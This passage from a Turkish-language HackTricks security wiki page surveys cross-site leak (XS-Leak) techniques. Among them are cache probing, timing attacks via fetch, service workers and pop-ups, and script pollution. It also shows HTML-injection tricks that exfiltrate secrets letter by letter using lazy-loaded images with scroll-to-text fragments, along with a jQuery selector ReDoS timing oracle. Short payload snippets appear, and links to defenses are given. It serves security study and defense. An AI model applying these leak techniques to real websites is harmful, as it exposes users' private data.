warning
Bu tekniğin ilginç olmasının nedeni: Chrome artık önbellek bölümlendirmesi yapıyor ve yeni açılan sayfanın önbellek anahtarı: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)
; ancak bir ngrok sayfası açıp içinde fetch kullanırsam, önbellek anahtarı: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)
olacaktır; önbellek anahtarı farklıdır, bu nedenle önbellek paylaşılmaz. Daha fazla ayrıntıyı burada bulabilirsiniz: Önbelleği bölümlendirerek güvenlik ve gizlilik kazanma
(buradan yapılan yorum)
Eğer bir site example.com
, *.example.com/resource
adresinden bir kaynak içeriyorsa, o kaynak, kaynağın doğrudan üst düzey navigasyon ile talep edilmiş gibi aynı önbellek anahtarına sahip olacaktır. Çünkü önbellek anahtarı, üst düzey eTLD+1 ve çerçeve eTLD+1'den oluşur.
Önbelleğe erişim, bir kaynağı yüklemekten daha hızlı olduğundan, bir sayfanın konumunu değiştirmeyi ve durdurduktan sonra 20ms (örneğin) sonra iptal etmeyi denemek mümkündür. Eğer durdurduktan sonra köken değiştiyse, bu, kaynağın önbelleğe alındığı anlamına gelir.
Ya da sadece potansiyel olarak önbelleğe alınmış sayfaya bazı fetch'ler gönderip geçen süreyi ölçebilirsiniz.
Manual Redirect
- Inclusion Methods: Fetch API
- Detectable Difference: Yönlendirmeler
- More info: ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234
- Summary: Bir fetch isteğine verilen yanıtın bir yönlendirme olup olmadığını bulmak mümkündür.
- Code Example:
Fetch with AbortController
- Inclusion Methods: Fetch API
- Detectable Difference: Zamanlama
- More info: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller
- Summary: Bir kaynağı yüklemeyi denemek ve yüklenmeden önce yüklemeyi kesmek mümkündür. Bir hata tetiklenip tetiklenmediğine bağlı olarak, kaynak önbelleğe alınmış ya da alınmamıştır.
- Code Example: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller
fetch ve setTimeout kullanarak bir AbortController ile hem kaynağın önbelleğe alınıp alınmadığını tespit etmek hem de belirli bir kaynağı tarayıcı önbelleğinden çıkarmak mümkündür. Ayrıca, bu işlem yeni içerik önbelleğe almadan gerçekleşir.
Script Pollution
- Inclusion Methods: HTML Elemanları (script)
- Detectable Difference: Sayfa İçeriği
- More info: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
- Summary: Yerleşik fonksiyonları aşırı yazmak ve bunların argümanlarını okumak mümkündür; bu, çapraz kökenli script'lerden bile (doğrudan okunamaz) değerli bilgileri sızdırabilir.
- Code Example: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
Service Workers
- Inclusion Methods: Pop-ups
- Detectable Difference: Sayfa İçeriği
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers
- Summary: Service worker kullanarak bir webin yürütme süresini ölçün.
- Code Example:
Verilen senaryoda, saldırgan, kendi alanlarından biri olan "attacker.com" içinde bir service worker kaydetme girişiminde bulunur. Ardından, saldırgan ana belgede hedef web sitesinde yeni bir pencere açar ve service worker'a bir zamanlayıcı başlatmasını talimatını verir. Yeni pencere yüklenmeye başladığında, saldırgan önceki adımda elde edilen referansı service worker tarafından yönetilen bir sayfaya yönlendirir.
Önceki adımda başlatılan isteğin gelmesiyle, service worker 204 (No Content) durum kodu ile yanıt verir ve navigasyon sürecini etkili bir şekilde sonlandırır. Bu noktada, service worker daha önce başlatılan zamanlayıcıdan bir ölçüm alır. Bu ölçüm, JavaScript'in navigasyon sürecinde neden olduğu gecikmelerin süresinden etkilenir.
warning
Bir yürütme zamanlamasında, daha hassas ölçümler elde etmek için ağ faktörlerini ortadan kaldırmak mümkündür. Örneğin, sayfa yüklenmeden önce sayfanın kullandığı kaynakları yükleyerek.
Fetch Timing
- Inclusion Methods: Fetch API
- Detectable Difference: Zamanlama (genellikle Sayfa İçeriği, Durum Kodu nedeniyle)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks
- Summary: Bir isteği gerçekleştirmek için geçen süreyi ölçmek için performance.now() kullanın. Diğer saatler de kullanılabilir.
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks
Cross-Window Timing
- Inclusion Methods: Pop-ups
- Detectable Difference: Zamanlama (genellikle Sayfa İçeriği, Durum Kodu nedeniyle)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks
- Summary:
window.open
kullanarak bir isteği gerçekleştirmek için geçen süreyi ölçmek için performance.now() kullanın. Diğer saatler de kullanılabilir. - Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks
With HTML or Re Injection
Burada, HTML içeriği enjekte ederek çapraz kökenli bilgileri dışa aktarmak için teknikler bulabilirsiniz. Bu teknikler, herhangi bir nedenle HTML enjekte edebiliyorsanız ancak JS kodu enjekte edemiyorsanız ilginçtir.
Dangling Markup
Dangling Markup - HTML scriptless injection
Image Lazy Loading
Eğer içeriği dışa aktarmanız gerekiyorsa ve sırrın öncesine HTML ekleyebiliyorsanız, yaygın dangling markup tekniklerini kontrol etmelisiniz.
Ancak, herhangi bir nedenle HARF HARF yapmanız GEREKİYORSA (belki iletişim bir önbellek vuruşu aracılığıyla) bu hileyi kullanabilirsiniz.
HTML'deki resimler, değeri "lazy" olan bir "loading" niteliğine sahiptir. Bu durumda, resim, sayfa yüklenirken değil, görüntülendiğinde yüklenecektir:
<img src=/something loading=lazy >
Bu nedenle, yapabileceğiniz şey, gizli bilgiden önce web sayfasını doldurmak için çok sayıda gereksiz karakter eklemek (örneğin binlerce "W") veya şuna benzer bir şey eklemek <br><canvas height="1850px"></canvas><br>.
Örneğin, eğer enjeksiyonumuz bayraktan önce görünüyorsa, görüntü yüklenir, ancak bayraktan sonra görünüyorsa, bayrak + gereksiz karakterler yüklenmesini engelleyecektir (ne kadar gereksiz karakter ekleyeceğinizle oynamanız gerekecek). Bu, bu yazıda olan şeydir.
Başka bir seçenek, izin verilirse scroll-to-text-fragment kullanmaktır:
Scroll-to-text-fragment
Ancak, botun sayfaya erişmesini sağlarsınız, bununla birlikte bir şey gibi
#:~:text=SECR
Web sayfası şöyle bir şey olacak: https://victim.com/post.html#:~:text=SECR
Burada post.html, saldırganın gereksiz karakterlerini ve tembel yükleme görüntüsünü içerir ve ardından botun sırrı eklenir.
Bu metin, botun sayfadaki SECR
metnini içeren herhangi bir metne erişmesini sağlayacaktır. Bu metin sırdır ve görüntünün hemen altında yer almaktadır, gizli kelime doğru tahmin edilirse görüntü yalnızca yüklenecektir. Böylece, sırrı karakter karakter dışarı sızdırmak için oracliniz var.
Bunu istismar etmek için bir kod örneği: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
Görüntü Tembel Yükleme Zamanına Dayalı
Eğer harici bir görüntüyü yüklemek mümkün değilse, bu, saldırgana görüntünün yüklendiğini gösterebilir, başka bir seçenek ise karakteri birkaç kez tahmin etmeye çalışmak ve bunu ölçmektir. Eğer görüntü yüklenirse, tüm istekler, görüntü yüklenmediğinde olduğundan daha uzun sürecektir. Bu, bu yazının çözümünde özetlenen şeydir:
Event Loop Blocking + Lazy images
ReDoS
Regular expression Denial of Service - ReDoS
CSS ReDoS
Eğer jQuery(location.hash)
kullanılıyorsa, zamanlama yoluyla bazı HTML içeriğinin var olup olmadığını bulmak mümkündür, çünkü eğer main[id='site-main']
seçici eşleşmiyorsa, geri kalan seçicileri kontrol etmesine gerek yoktur:
$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
)
CSS Injection
Defenses
Bu tekniklere karşı nasıl korunacağınız hakkında daha fazla bilgi için https://xsinator.com/paper.pdf ve wiki'nin her bölümünde https://xsleaks.dev/ önerilen önlemler bulunmaktadır.
References
- https://xsinator.com/paper.pdf
- https://xsleaks.dev/
- https://github.com/xsleaks/xsleaks
- https://xsinator.com/
- https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.